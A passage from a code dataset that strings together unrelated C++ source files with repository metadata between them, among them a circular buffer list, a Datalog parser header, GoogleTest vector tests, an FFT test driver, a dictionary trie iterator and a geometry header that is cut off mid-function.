void CBL< E >::push_front( E element ) {
size_t l = length() + 1;
if( head == tail ) {
cbl[ head ] = element;
if( tail == listSize - 1 ) tail = 0;
else tail++;
return;
}
else if( head == 0 ) head = listSize - 1;
else head--;
cbl[ head ] = element;
reallocateCheck( l );
}
//========================================================//
// replace
//========================================================//
template< typename E >
E CBL< E >::replace( E element, size_t position ) {
if( head == tail )
throw std::runtime_error( "CBL< E >::replace() ERROR: List Empty" );
else if( position >= length() )
throw std::runtime_error( "CDAL< E >::replace() ERROR: Index Out of Bounds" );
size_t index = head;
for( size_t i = 0; i < position; i++) {
if( index == listSize - 1) index = 0;
else index++;
}
E temp = cbl[ index ];
cbl[ index ] = element;
return temp;
}
//========================================================//
// remove
//========================================================//
template< typename E >
E CBL< E >::remove( size_t position ) {
if( head == tail )
throw std::runtime_error( "CBL< E >::remove() ERROR: List Empty" );
else if( position >= length() )
throw std::runtime_error( "CDAL< E >::remove() ERROR: Index Out of Bounds" );
size_t index = head;
for( size_t i = 0; i < position; i++) {
if( index == listSize - 1 ) index = 0;
else index++;
}
E element = cbl[ index ];
for( size_t i = index; i != tail; i++ ) {
if( i == listSize - 1 ) {
cbl[ i ] = cbl[ 0 ];
continue;
}
else if( i == listSize ) {
i = 0;
cbl[ i ] = cbl[ listSize - 1];
continue;
}
cbl[ i ] = cbl[ i + 1 ];
}
if( tail == 0 ) tail = listSize - 1;
else tail--;
reallocateCheck( length() );
return element;
}
//========================================================//
// pop_back
//========================================================//
template< typename E >
E CBL< E >::pop_back( void ) {
if( head == tail )
throw std::runtime_error( "CBL< E >::pop_back() ERROR: List Empty" );
if( tail == 0 ) tail = listSize - 1;
else tail--;
E element = cbl[ tail ];
cbl[ tail ] = { };
reallocateCheck( length() );
return element;
}
//========================================================//
// pop_front
//========================================================//
template< typename E >
E CBL< E >::pop_front( void ) {
if( head == tail )
throw std::runtime_error( "CBL< E >::pop_front() ERROR: List Empty" );
E element = cbl[ head ];
cbl[ head ] = { };
if( head == listSize - 1 ) head = 0;
else head++;
reallocateCheck( length() );
return element;
}
//========================================================//
// item_at
//========================================================//
template< typename E >
E& CBL< E >::item_at( size_t position ) {
if( head == tail )
throw std::runtime_error( "CBL< E >::item_at() ERROR: List Empty" );
else if( position >= length() )
throw std::runtime_error( "CDAL< E >::item_at() ERROR: Index Out of Bounds" );
size_t index = head;
for( size_t i = 0; i < position; i++) {
if( index == listSize - 1 ) index = 0;
else index++;
}
return cbl[ index ];
}
//========================================================//
// peek_back
//========================================================//
template< typename E >
E& CBL< E >::peek_back( void ) {
if( head == tail )
throw std::runtime_error( "CBL< E >::peek_back() ERROR: List Empty" );
if( tail == 0 ) return cbl[ listSize - 1 ];
else return cbl[ tail - 1 ];
}
//========================================================//
// peek_front
//========================================================//
template< typename E >
E& CBL< E >::peek_front( void ) {
if( head == tail )
throw std::runtime_error( "CBL< E >::peek_front() ERROR: List Empty" );
return cbl[ head ];
}
//========================================================//
// is_empty
//========================================================//
template< typename E >
bool CBL< E >::is_empty( void ) { return head == tail; }
//========================================================//
// is_full
//========================================================//
template< typename E >
bool CBL< E >::is_full( void ) { return false; }
//========================================================//
// length
//========================================================//
template< typename E >
size_t CBL< E >::length( void ) {
if ( head > tail )
return ( listSize - (head - tail) );
else
return ( tail - head );
}
//========================================================//
// clear
//========================================================//
template< typename E >
void CBL< E >::clear( void ) {
for( size_t i = 0; i < listSize; i++ ) cbl[ i ] = { };
head = 0;
tail = 0;
}
//========================================================//
// contains
//========================================================//
template< typename E >
bool CBL< E >::contains( E element, bool (*fctn)(const E&, const E&) ) {
size_t i = head;
bool contains = false;
while( i != tail ) {
if( i == listSize ) i = 0;
if( fctn(cbl[ i ], element) == true )
contains = true;
i++;
}
if( contains ) return true;
return false;
}
//========================================================//
// print
//========================================================//
template< typename E >
std::ostream& CBL< E >::print( std::ostream& os ) {
if( head == tail )
os << "<empty list>" << std::endl;
else {
os << "[";
size_t i = head;
while( i != tail ) {
if( i == listSize ) {
i = 0;
continue;
}
if( i + 1 == tail ) break;
os << cbl[ i ] << ",";
i++;
}
os << cbl[i] << "]" << std::endl;
}
return os;
}
//========================================================//
// contents
//========================================================//
template< typename E >
E * CBL< E >::contents( void ) {
E * arr = new E[ length() ];
size_t index = 0;
for( size_t i = head; i != tail; i++ ) {
if( i == listSize ) i = 0;
if( i == tail ) break;
arr[ index ] = cbl[ i ];
index++;
}
return arr;
}
//========================================================//
} //close namespace
#endif | true |
fb6110b9eaaa000216fde210eab8f1bc98a6d5ae | C++ | tylerku/Interpreter | /Interpreter/DatalogProgram.h | UTF-8 | 1,768 | 2.515625 | 3 | [] | no_license | //
// DatalogProgram.h
// lab2
//
// Created by Tyler Udy on 7/5/16.
// Copyright © 2016 Tyler Udy. All rights reserved.
//
#ifndef DatalogProgram_h
#define DatalogProgram_h
#include "Rule.h"
#include "Predicate.h"
#include "Parameter.h"
#include "Scanner.h"
#include <vector>
#include <set>
//vector<rule> Rule
class DatalogProgram {
private:
Scanner tokenScanner;
int position;
Token currentToken;
std::vector<Token> tokensToParse;
std::set<std::string> domain;
std::vector<Parameter> params;
std::vector<Predicate> rulesPredicates;
char currentKey;
std::stringstream output;
std::stringstream stringified;
void datalog_program();
void scheme_list();
void fact_list();
void rule_list();
void query_list();
void scheme();
void fact();
void rule();
void query();
void predicate_list();
void predicate();
void parameter_list();
void parameter();
void match(TokenType type);
void error();
bool errorOccured;
void success();
Token getTokenFromScanner();
void push_predicate(Parameter name);
void add_predicates_to_output(std::vector<Predicate> vect);
public:
//wrtie a function for each of the rules
std::vector<Predicate> schemes;
std::vector<Predicate> facts;
std::vector<Rule> rules;
std::vector<Predicate> queries;
DatalogProgram(){
position = 0;
errorOccured = false;
}
~DatalogProgram(){
}
DatalogProgram& parse(std::vector<Token> tokensFromScanner);
std::string toString();
std::string get_stringified_program(); // this should be implemented in toString but i dont have time right now
};
#endif /* DatalogProgram_h */
| true |
4e3a503d704a30bc2af5414e158fd6f14c7dc65a | C++ | zoharith/Reviyot | /include/Card.h | UTF-8 | 1,278 | 3.265625 | 3 | [] | no_license | #ifndef CARD_H_
#define CARD_H_
#include <iostream>
using namespace std;
enum Shape {
Club= 0,
Diamond ,
Heart,
Spade
};
enum Figure {
Jack=-4,
Queen=-3,
King=-2,
Ace=-1
};
class Card {
private:
Shape shape;
protected:
string shapeName;
public:
Card(Shape s);
virtual string toString() = 0; //Returns the string representation of the card "<value><shape>" exp: "12S" or "QD"
virtual ~Card();
virtual int getNumber() const = 0;
void setNumber(int num);
string getShape() const;
virtual Card* clone()=0;
bool operator==( Card& card);
};
//Figure head class
class FigureCard : public Card {
private:
Figure figure;
string figureName;
int number;
Card* clone();
public:
FigureCard(Shape s,Figure f);
string toString();
int getNumber() const;
void setNumber(int num);
string getFigureName() const;
virtual ~FigureCard();
};
//Numberic Card Class
class NumericCard : public Card {
private:
int number;
Card* clone();
public:
NumericCard(Shape s, int n);
string toString();
int getNumber() const;
void setNumber(int num);
virtual ~NumericCard();
};
#endif
| true |
eca9561be942542e951aeaecd4a19b04f61dbf44 | C++ | cristobalramos93/EDA | /Excursionistas atrapados eda 2/Excursionistas atrapados eda 2/Source.cpp | UTF-8 | 683 | 3.015625 | 3 | [] | no_license | #include<iostream>
#include"bintree_eda.h"
using namespace std;
int resuelve(bintree<int> arbol, int & maxi);
//excursionistas entrada/salida
int main() {
int casos;
cin >> casos;
for (int i = 0; i < casos; i++) {
bintree<int> arbol = leerArbol(-1);
int numeros = 0;
int num;
num = resuelve(arbol, numeros);
cout << numeros << " " << num << endl;
}
}
int resuelve(bintree<int> arbol, int & maxi) {
if (!arbol.empty()) {
int iz = resuelve(arbol.left(),maxi);
int de = resuelve(arbol.right(),maxi);
if (iz != 0 && de != 0) {
if (maxi == 0)maxi = 2;
else maxi++;
}
//excursionistas = max(iz,de);
return max(iz,de) + arbol.root();
}
else return 0;
} | true |
b885335f56ab6242461aa97fd4acf467579d0c55 | C++ | zhunicole/CS148 | /RayTracer/raytracer/Src/ImagePlane.h | UTF-8 | 2,379 | 2.75 | 3 | [] | no_license | //#####################################################################
// Stanford CS148 Ray Tracer Example Code
// Copyright 2012, Ben Mildenhall
//#####################################################################
#ifndef RayTracer_ImagePlane_h
#define RayTracer_ImagePlane_h
#include "Camera.h"
#include "Jitter.h"
#include <iostream>
class ImagePlane {
public:
ImagePlane(int w, int h): width(w), height(h) {}
~ImagePlane(){}
std::vector<Ray *>* getRays(Camera* camera, int x, int y, int sampling = 1, float focus = 0., float aperture = 0.) {
std::vector<Ray *> * rays = new std::vector<Ray *>();
bool use_jitter=(sampling>1);
Jitter jitter = Jitter(sampling);
if (focus > 0.) {
for (int i = 0; i < sampling; i++) {
for (int j = 0; j < sampling; j++) {
float u = ((float)x + .5f) / width;
float v = ((float)y + .5f) / height;
Ray *camRay = camera->generateRay(u, v);
STPoint3 focal = camRay->at(focus);
float jitter_u=use_jitter?jitter.get():0;float jitter_v=use_jitter?jitter.get():0;
float apertureOnPlane = focus >=1.f ? (focus-1.f)/focus * aperture : (1.f-focus)/focus * aperture;
float du = (-apertureOnPlane / 2 + apertureOnPlane * ((float)(i) + jitter_u) / sampling) / width;
float dv = (-apertureOnPlane / 2 + apertureOnPlane * ((float)(j) + jitter_v) / sampling) / height;
STPoint3 onPlane = camera->pointOnPlane(u + du, v + dv);
if (focus >= 1)
rays->push_back(new Ray(onPlane, focal - onPlane, -10000.f));
else rays->push_back(new Ray(focal, onPlane - focal, -2.5f));
delete camRay;
}
}
} else {
for (int i = 0; i < sampling; i++) {
for (int j = 0; j < sampling; j++) {
float jitter_u=use_jitter?jitter.get():0;float jitter_v=use_jitter?jitter.get():0;
rays->push_back(camera->generateRay(((float)x + ((float)(i) + jitter_u) / sampling) / width,
((float)y + ((float)(j) + jitter_v) / sampling) / height));
}
}
}
return rays;
}
private:
int width, height;
};
#endif
| true |
32a242fdb61bf57ba30d6283523fe15ed927da6a | C++ | ClxS/NovelRT | /tests/NovelRT.Tests/Maths/GeoVector3Test.cpp | UTF-8 | 6,044 | 2.953125 | 3 | [
"LicenseRef-scancode-unknown-license-reference",
"MIT",
"LicenseRef-scancode-other-permissive"
] | permissive | // Copyright © Matt Jones and Contributors. Licensed under the MIT License (MIT). See LICENCE.md in the repository root
// for more information.
#include <NovelRT.h>
#include <gtest/gtest.h>
using namespace NovelRT;
using namespace NovelRT::Maths;
TEST(GeoVector3Test, equalityOperatorEvaluatesCorrectly)
{
EXPECT_EQ(GeoVector3F(0.0f, 0.0f, 0.0f), GeoVector3F(0.0f, 0.0f, 0.0f));
}
TEST(GeoVector3Test, inequalityOperatorEvaluatesCorrectly)
{
EXPECT_NE(GeoVector3F(0.0f, 0.0f, 0.0f), GeoVector3F(1.0f, 0.0f, 0.0f));
}
TEST(GeoVector3Test, lessThanOperatorEvaluatesCorrectly)
{
EXPECT_TRUE(GeoVector3F(0.0f, 0.0f, 0.0f) < GeoVector3F(1.0f, 1.0f, 1.0f));
}
TEST(GeoVector3Test, lessOrEqualToThanOperatorEvaluatesCorrectly)
{
EXPECT_TRUE(GeoVector3F(0.0f, 0.0f, 0.0f) <= GeoVector3F(1.0f, 1.0f, 1.0f));
EXPECT_TRUE(GeoVector3F(1.0f, 1.0f, 1.0f) <= GeoVector3F(1.0f, 1.0f, 1.0f));
}
TEST(GeoVector3Test, greaterThanOperatorEvaluatesCorrectly)
{
EXPECT_TRUE(GeoVector3F(1.0f, 1.0f, 1.0f) > GeoVector3F(0.0f, 0.0f, 0.0f));
}
TEST(GeoVector3Test, greaterThanOrEqualToOperatorEvaluatesCorrectly)
{
EXPECT_TRUE(GeoVector3F(1.0f, 1.0f, 1.0f) >= GeoVector3F(0.0f, 0.0f, 0.0f));
EXPECT_TRUE(GeoVector3F(1.0f, 1.0f, 1.0f) >= GeoVector3F(1.0f, 1.0f, 1.0f));
}
TEST(GeoVector3Test, staticUniformCallReturnsGeoVector3WithUniformValues)
{
EXPECT_EQ(GeoVector3F::uniform(1.0f), GeoVector3F(1.0f, 1.0f, 1.0f));
}
TEST(GeoVector3Test, staticZeroCallReturnsGeoVector3Zero)
{
EXPECT_EQ(GeoVector3F::zero(), GeoVector3F::uniform(0.0f));
}
TEST(GeoVector3Test, staticOneCallReturnsGeoVector3One)
{
EXPECT_EQ(GeoVector3F::one(), GeoVector3F::uniform(1.0f));
}
TEST(GeoVector3Test, addOperatorAddsCorrectlyForGeoVector3)
{
auto result = GeoVector3F::one() + GeoVector3F::one();
EXPECT_EQ(result, GeoVector3F::uniform(2.0f));
}
TEST(GeoVector3Test, subtractOperatorSubtractsCorrectlyForGeoVector3)
{
auto result = GeoVector3F::one() - GeoVector3F::one();
EXPECT_EQ(result, GeoVector3F::zero());
}
TEST(GeoVector3Test, multiplyOperatorMultipliesCorrectlyForGeoVector3)
{
auto result = GeoVector3F::uniform(2.0f) * GeoVector3F::uniform(2.0f);
EXPECT_EQ(result, GeoVector3F::uniform(4.0f));
}
TEST(GeoVector3Test, divideOperatorDividesCorrectlyForGeoVector3)
{
auto result = GeoVector3F::uniform(2.0f) / GeoVector3F::uniform(2.0f);
EXPECT_EQ(result, GeoVector3F::one());
}
TEST(GeoVector3Test, addOperatorAddsCorrectlyForTemplateType)
{
auto result = GeoVector3F::one() + 1.0f;
EXPECT_EQ(result, GeoVector3F::uniform(2.0f));
}
TEST(GeoVector3Test, subtractOperatorSubtractsCorrectlyForTemplateType)
{
auto result = GeoVector3F::one() - 1.0f;
EXPECT_EQ(result, GeoVector3F::zero());
}
TEST(GeoVector3Test, multiplyOperatorMultipliesCorrectlyForTemplateType)
{
auto result = GeoVector3F::uniform(2.0f) * 2.0f;
EXPECT_EQ(result, GeoVector3F::uniform(4.0f));
}
TEST(GeoVector3Test, multiplyOperatorMultipliesCorrectlyForTemplateTypeInverse)
{
auto result = 2.0f * GeoVector3F::uniform(2.0f);
EXPECT_EQ(result, GeoVector3F::uniform(4.0f));
}
TEST(GeoVector3Test, divideOperatorDividesCorrectlyForTemplateType)
{
auto result = GeoVector3F::uniform(2.0f) / 2.0f;
EXPECT_EQ(result, GeoVector3F::one());
}
TEST(GeoVector3Test, addAssignOperatorAddsAndAssignsCorrectlyForGeoVector3)
{
auto result = GeoVector3F::one();
result += GeoVector3F::one();
EXPECT_EQ(result, GeoVector3F::uniform(2.0f));
}
TEST(GeoVector3Test, subtractAssignOperatorSubtractsAndAssignsCorrectlyForGeoVector3)
{
auto result = GeoVector3F::one();
result -= GeoVector3F::one();
EXPECT_EQ(result, GeoVector3F::zero());
}
TEST(GeoVector3Test, multiplyAssignOperatorMultipliesAndAssignsCorrectlyForGeoVector3)
{
auto result = GeoVector3F::uniform(2.0f);
result *= GeoVector3F::uniform(2.0f);
EXPECT_EQ(result, GeoVector3F::uniform(4.0f));
}
TEST(GeoVector3Test, divideAssignOperatorDividesAndAssignsCorrectlyForGeoVector3)
{
auto result = GeoVector3F::uniform(2.0f);
result /= GeoVector3F::uniform(2.0f);
EXPECT_EQ(result, GeoVector3F::one());
}
TEST(GeoVector3Test, addAssignOperatorAddsAndAssignsCorrectlyForTemplateType)
{
auto result = GeoVector3F::one();
result += 1.0f;
EXPECT_EQ(result, GeoVector3F::uniform(2.0f));
}
TEST(GeoVector3Test, subtractAssignOperatorSubtractsAndAssignsCorrectlyForTemplateType)
{
auto result = GeoVector3F::one();
result -= 1.0f;
EXPECT_EQ(result, GeoVector3F::zero());
}
TEST(GeoVector3Test, multiplyAssignOperatorMultipliesAndAssignsCorrectlyForTemplateType)
{
auto result = GeoVector3F::uniform(2.0f);
result *= 2.0f;
EXPECT_EQ(result, GeoVector3F::uniform(4.0f));
}
TEST(GeoVector3Test, divideAssignOperatorDividesAndAssignsCorrectlyForTemplateType)
{
auto result = GeoVector3F::uniform(2.0f);
result /= 2.0f;
EXPECT_EQ(result, GeoVector3F::one());
}
TEST(GeoVector3Test, getNormalisedReturnsNormalisedGeoVector)
{
auto vec = GeoVector3F::one().getNormalised();
float normalisedTotal = sqrtf(powf(vec.x, 2) + powf(vec.y, 2) + powf(vec.z, 2));
EXPECT_FLOAT_EQ(normalisedTotal, 1.0f);
}
TEST(GeoVector3Test, getMagnitudeReturnsCorrectLength)
{
auto vec = GeoVector3F::one().getNormalised();
EXPECT_FLOAT_EQ(vec.getMagnitude(), sqrtf(powf(vec.x, 2) + powf(vec.y, 2) + powf(vec.z, 2)));
}
TEST(GeoVector3Test, getLengthReturnsCorrectLength)
{
auto vec = GeoVector3F::one().getNormalised();
EXPECT_FLOAT_EQ(vec.getLength(), sqrtf(powf(vec.x, 2) + powf(vec.y, 2) + powf(vec.z, 2)));
}
TEST(GeoVector3Test, rotateToAngleAroundPointRotatesCorrectAmount)
{
auto vec = GeoVector3F(0.0f, 1.0f, 0.0f);
vec.rotateToAngleAroundPoint(90.0f, GeoVector3F::zero());
EXPECT_TRUE(vec.epsilonEquals(GeoVector3F(-1.0f, 0.0f, 0.0f), GeoVector3F::uniform(1e-7f)));
}
TEST(GeoVector3Test, geoVector2ConstructorReturnsCorrectGeoVector3)
{
EXPECT_EQ(GeoVector3F(GeoVector2F::one()), GeoVector3F(1.0f, 1.0f, 0.0f));
}
| true |
5861bd5e4c0f94e4eab948530063390d66ca02c8 | C++ | hdh9494/BOJ | /Algo/17135_캐슬디펜스(4.6 A형).cpp | UHC | 2,773 | 3.046875 | 3 | [] | no_license | #pragma warning(disable : 4996)
#include <cstdio>
#include <vector>
#include <algorithm>
#include <memory.h>
#define MAX 17
using namespace std;
struct enemy {
int x;
int y;
int dist;
};
int sol = 0;
int N, M, D;
int map[MAX][MAX];
bool Selected[MAX]; // ʿ
vector <int> bow;
void copy_map(int(*a)[MAX], int(*b)[MAX])
{
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
a[i][j] = b[i][j];
}
}
}
bool cmp(enemy A, enemy B)
{
// Ÿ : v[0] ->
if (A.dist <= B.dist) {
// Ÿ
if (A.dist == B.dist) {
// y : v[0] -> ġ
if (A.y < B.y) {
return true;
}
return false;
}
return true;
}
return false;
}
int kill_enemy()
{
int temp[MAX][MAX];
copy_map(temp, map);
int cnt = 0;
int loop = N;
while (loop--)
{
// ü ǥ
pair<int, int> Target[5];
// 3 ü
for (int b = 0; b < bow.size(); b++)
{
vector <enemy> v;
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
if (temp[i][j] == 1)
{
// ü Ÿ
int dist = abs(N - i) + abs(bow[b] - j);
// Ÿ D ̸ enemy
if (dist <= D)
v.push_back({ i,j,dist });
}
}
}
int Target_num = v.size();
if (Target_num > 1)
{
// ü ǿ ° sortؼ => v[0]
sort(v.begin(), v.end(), cmp);
Target[b].first = v[0].x;
Target[b].second = v[0].y;
}
else if (Target_num == 1)
{
Target[b].first = v[0].x;
Target[b].second = v[0].y;
}
// Ѹ !!!!!
else
{
Target[b].first = -1;
Target[b].second = -1;
}
}
// Target ϰ ++
for (int k = 0; k < 3; k++)
{
int x = Target[k].first;
int y = Target[k].second;
if (temp[x][y] == 1)
{
temp[x][y] = 0;
cnt++;
}
}
// ġ ĭ
for (int i = N - 2; i >= 0; i--) {
for (int j = 0; j < M; j++) {
temp[i + 1][j] = temp[i][j];
}
}
for (int i = 0; i < M; i++) temp[0][i] = 0;
}
return cnt;
}
void select_bow(int idx, int cnt)
{
if (cnt == 3)
{
sol = max(sol, kill_enemy());
return;
}
for (int i = idx; i < M; i++)
{
if (!Selected[i])
{
Selected[i] = true;
bow.push_back(i);
select_bow(i, cnt + 1);
Selected[i] = false;
bow.pop_back();
}
}
}
int main(void)
{
scanf("%d %d %d", &N, &M, &D);
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
scanf("%d", &map[i][j]);
}
}
select_bow(0,0);
printf("%d\n", sol);
return 0;
} | true |
f9cc48f69789035e1e00b016db4076771706e7c5 | C++ | orz2pick/SNNU | /ACM/SNNU2017年头次比赛/H/8002277_41612164_H.cpp | UTF-8 | 505 | 2.515625 | 3 | [] | no_license | #include<stdio.h>
#include<math.h>
#include<stdlib.h>
int main()
{
int m,i,j,n,k,line;
int a[510],b[510];
scanf("%d",&m);
for (i=0;i<m;i++)
{
scanf("%d",&n);
for(j=0;j<n;j++)
{
scanf("%d",&a[j]);
}
for (k=0;k<n;k++)
{
b[k]=0;
for (j=0;j<n;j++)
{
b[k]=b[k]+abs(a[j]-a[k]);
}
}
line=b[0];
for (k=0;k<n;k++)
{
if(b[k]<line) line=b[k];
else;
}
printf("%d\n",line);
}
return 0;
}
| true |
b174e0b7190539c6c2171f7150d24a5f5c71223c | C++ | Eildars91/l6 | /bird.h | WINDOWS-1251 | 688 | 3.15625 | 3 | [] | no_license | #pragma once
#include <iostream>
#include <string>
#ifndef BIRD_H
#define BIRD_H
using namespace std;
class bird : public alive
{
public:
int year,a;
void AllBird(int year, int a)
{
cout << " : ";
cin >> name;
cout << " : ";
cin >> opp;
cout << " : ";
cin >> mesto;
cout << " : ";
cin >> food;
cout << " " << year << " =" << a << endl;
cout << endl;
}
};
#endif#pragma once
| true |
14421662b50f69538bc5b6fe02ca716941647c93 | C++ | phuang/test | /boost/bind/bind.cpp | UTF-8 | 405 | 3.109375 | 3 | [] | no_license | #include <boost/bind.hpp>
#include <iostream>
typedef int (*Func)(int);
template <class Function>
void test_func(Function func) {
int ret = func(100);
std::cout << "ret = " << ret << std::endl;
}
int inc(int i) { return i + 1; }
int add(int i, int b) { return i + b; }
int main(int argc, char **argv) {
test_func(inc);
test_func(boost::bind(inc, _1));
test_func(boost::bind(add, _1, 9));
}
| true |
22ff5a18d738c7c98bebd9aa13cb0c9ff777a928 | C++ | luciandinu93/CPlusPlusLearning | /Chapter5/Lab5-9.cpp | UTF-8 | 2,130 | 4.21875 | 4 | [] | no_license | /* Modelling fractions: part 1 */
#include <iostream>
#include <string>
#include <stdexcept>
#include <cmath>
class Fraction
{
public:
Fraction(int numerator, int denominator);
std::string toString();
double toDouble();
private:
int numerator;
int denominator;
};
Fraction::Fraction(int numerator, int denominator)
{
if(denominator == 0)
throw std::invalid_argument("Denominator can not be 0!");
this->numerator = numerator;
this->denominator = denominator;
}
std::string Fraction::toString()
{
std::string fraction = "";
if(numerator / denominator < 0)
{
fraction = fraction + "-";
}
if(numerator / denominator != 0)
{
fraction = fraction + std::to_string(std::abs(numerator/denominator)) + " ";
}
if(numerator % denominator != 0)
{
fraction = fraction + std::to_string(numerator % denominator) + "/" + std::to_string(std::abs(denominator));
}
return fraction;
}
double Fraction::toDouble()
{
return (double)this->numerator / this->denominator;
}
// implement Fraction methods
int main(void)
{
int num, den;
std::string input = "";
std::cout << "Enter a fraction in format \'[NUMERATOR] / [DENOMINATOR]\': ";
std::getline(std::cin, input);
// parse input and get numerator and denominator
try
{
if(input[input.find('/')-1] != ' ')
{
std::cout << "Please use this format \'[NUMERATOR] / [DENOMINATOR]\', it seems you forget spaces." << std::endl;
throw std::invalid_argument("Invalid format!");
}
else
{
num = atoi(input.substr(0, input.find('/') - 1).c_str());
den = atoi(input.substr(input.find('/') + 1).c_str());
}
try
{
Fraction fraction(num, den);
std::cout << "\n" << fraction.toString() << " is " << fraction.toDouble() << " in decimal." << std::endl;
}
catch(const std::exception& e)
{
std::cout << "Can not construct fraction beacuse " << e.what() << std::endl;
}
}
catch(...)
{
std::cout << "Entered numbers are not valid:" << std::endl;
std::cout << "Numerator: " << input.substr(0, input.find('/') - 1) << std::endl;
std::cout << "Denominator: " << input.substr(input.find('/') + 1) << std::endl;
}
return 0;
} | true |
a029996854749283d5a63405132becb94f349a5b | C++ | zy4kamu/Coda | /src/nlp-stack/Dictionary/Core/DictionaryTrie/DictionaryTrieIterator.cpp | UTF-8 | 2,620 | 2.703125 | 3 | [
"Apache-2.0"
] | permissive | /**
* DictionaryTrieIterator.cpp
*/
#include "DictionaryTrieIterator.h"
#include <stack>
/**
* Constructor of DictionaryTrieIterator
*/
DictionaryTrieIterator::DictionaryTrieIterator(Dictionary* _dic, string dictionaryFile) : DictionaryTrieBinaryFileReader(_dic, dictionaryFile)
{
setLemmaOnly(true);
result = vector<wstring>();
}
/**
* Destructor of DictionaryTrieIterator
*/
DictionaryTrieIterator::~DictionaryTrieIterator(void)
{
dic = NULL;
}
/**
* Iterate
*/
void DictionaryTrieIterator::iterate(void)
{
result = vector<wstring>();
stack<DictionaryNode*> nodeStack = stack<DictionaryNode*>();
vector<DictionaryNode*> nodeChildren = root->getChildren();
for (int i = (int) nodeChildren.size() - 1; i >= 0; --i)
{
nodeStack.push(nodeChildren.at(i));
}
while (!nodeStack.empty())
{
DictionaryNode* current = nodeStack.top();
nodeStack.pop();
// process a DictionaryTrieNode
wstring _prefix = current->getStringFromRoot();
//wcout << "---------------" << endl << _prefix << endl;
vector<DictionaryNodeModel*> * _nodeModels = current->getNodeModels();
for (int i_model = 0; i_model < (int) _nodeModels->size(); ++i_model)
{
DictionaryNodeModel* _nodeModel = _nodeModels->at(i_model);
// get modelId of NodeModel
int _trieModelId = _nodeModel->getModelId();
// get TrieModel by _trieModelId
DictionaryTrieModel *_trieModel = getTrieModelByModelId(_trieModelId);
// continue if TrieModel not found
if (!_trieModel)
{
continue;
}
// get list of TrieModelElement of TrieModel
vector<DictionaryTrieModelElement*> * _trieModelElements = _trieModel->getDictionaryTrieModelElements();
// continue if _trieModelElements is empty
if (_trieModelElements->empty())
{
continue;
}
int _size = lemmaOnly ? 1 : (int) _trieModelElements->size();
for (int i_model_element = 0 ; i_model_element < _size; ++i_model_element)
{
DictionaryTrieModelElement* _trieModelElement = _trieModelElements->at(i_model_element);
// get suffix of TrieModelElement
wstring _suffix = *(_trieModelElement->getSuffix());
// concat prefix and suffix
wstring _word = _prefix + _suffix;
if (_trieModelElement->isBeginWithPo())
{
_word += L"\u043f\u043e";//here was cyrrilic symbols: по
}
//wcout << _word << endl;
result.push_back(_word);
}
}
vector<DictionaryNode*> nodeChildren = current->getChildren();
for (int i = (int) nodeChildren.size() - 1; i >= 0; --i)
{
nodeStack.push(nodeChildren.at(i));
}
}
}
| true |
0492b5ae1bd7da719d99e7bb482372d87c27d103 | C++ | jjccero/FFT | /FFT/test.cpp | UTF-8 | 1,622 | 2.75 | 3 | [] | no_license | #include<iostream>
#include"fft.h"
using namespace std;
void show(complex** X, int u, int v) {
for (int i = 0; i < u; i++) {
for (int j = 0; j < v; j++) {
printf("%8.4f", X[i][j].r);
if (X[i][j].i >= 0)
printf("+%-6.4fj ", X[i][j].i);
else
printf("%-7.4fj ", X[i][j].i);
}
cout << endl;
}
}
void show(complex* X, int u) {
for (int i = 0; i < u; i++) {
printf("%8.4f", X[i].r);
if (X[i].i >= 0)
printf("+%-6.4fj ", X[i].i);
else
printf("%-7.4fj ", X[i].i);
cout << endl;
}
}
int main() {
int u, v;
/*
cin >> u;
complex* X = new complex[u], * x = new complex[u];
for (int i = 0; i < u; i++) {
double real;
cin >> real;
x[i] = complex(real, 0.0);
}
fft(x, X, u);
cout << "fft:" << endl;
show(X, u);
fft(X, x, u, true);
cout << "ifft:" << endl;
show(x, u);
*/
/*
8 4
-1.0689 0.3252 -0.1022 -0.8649
1.0933 -1.2141 -0.7697 -1.0891
-0.8095 -0.7549 -0.2414 -0.0301
1.1093 -1.1135 0.3714 0.0326
-2.9443 1.3703 0.3192 -0.1649
-0.8637 -0.0068 -0.2256 0.5525
1.4384 -1.7115 0.3129 0.6277
0.0774 1.5326 1.1174 1.1006
*/
cin >> u >> v;
complex** X = new complex * [u], ** x = new complex * [u];
for (int i = 0; i < u; i++) {
X[i] = new complex[v];
x[i] = new complex[v];
}
for (int i = 0; i < u; i++) {
for (int j = 0; j < v; j++) {
double real;
cin >> real;
x[i][j] = complex(real, 0.0);
}
}
fft2(x, X, u, v);
cout << "fft:" << endl;
show(X, u, v);
fft2(X, x, u, v, true);
cout << "ifft:" << endl;
show(x, u, v);
for (int i = 0; i < u; i++) {
delete[] X[i];
delete[] x[i];
}
delete[] X;
delete[] x;
return 0;
}
| true |
b7ee8564c388af3b42ada66fbf278b941a8862d5 | C++ | shermnonic/wmute | /source/projectme/editor/Geometry.h | UTF-8 | 2,793 | 2.875 | 3 | [] | no_license | #ifndef GEOMETRY_H
#define GEOMETRY_H
#include <vector>
#include <cmath> // for sqrt()
/// Geometry utilities for \a RenderArea
namespace Geometry {
/// Polygon with texture coordinates
template <typename T, int DIM, int TC>
class TPolygon
{
public:
void clear() { m_verts.clear(); m_texcoords.clear(); }
void resize( int n ) { m_verts.resize( DIM * n ); m_texcoords.resize( TC * n ); }
int nverts() const { return (int)m_verts.size() / DIM; }
T* vert( int i ) { return (i<0 || i>=m_verts.size()) ? 0 : &m_verts[DIM*i]; }
const T* vert( int i ) const { return &m_verts[DIM*i]; }
T* texcoord( int i ) { return (i<0 || i>=m_texcoords.size()) ? 0 : &m_texcoords[TC*i]; }
const T* texcoord( int i ) const { return &m_texcoords[TC*i]; }
std::vector<T>& verts() { return m_verts; }
std::vector<T>& texcoords() { return m_texcoords; }
private:
std::vector<T> m_verts;
std::vector<T> m_texcoords;
};
/// Dot product
template<int D, typename T> T dotprod( const T* u, const T* v )
{
T res=0.f;
for( int i=0; i < D; i++ )
res += u[i]*v[i];
return res;
}
/// Length of vector between u and v
template<int D, typename T> T length( const T* u, const T* v )
{
T res=0.f;
for( int i=0; i < D; i++ )
res += (u[i]-v[i])*(u[i]-v[i]);
return sqrt(res);
}
/// Projective mapping for a 2D quad via homogeneous coordinates
/// See also http://www.reedbeta.com/blog/2012/05/26/quadrilateral-interpolation-part-1/
template<typename T>
class THomogeneousQuad2D
{
public:
void compute( const T* v0, const T* v1, const T* v2, const T* v3 )
{
// Normal of diagonal (v0,v2)
float n[2];
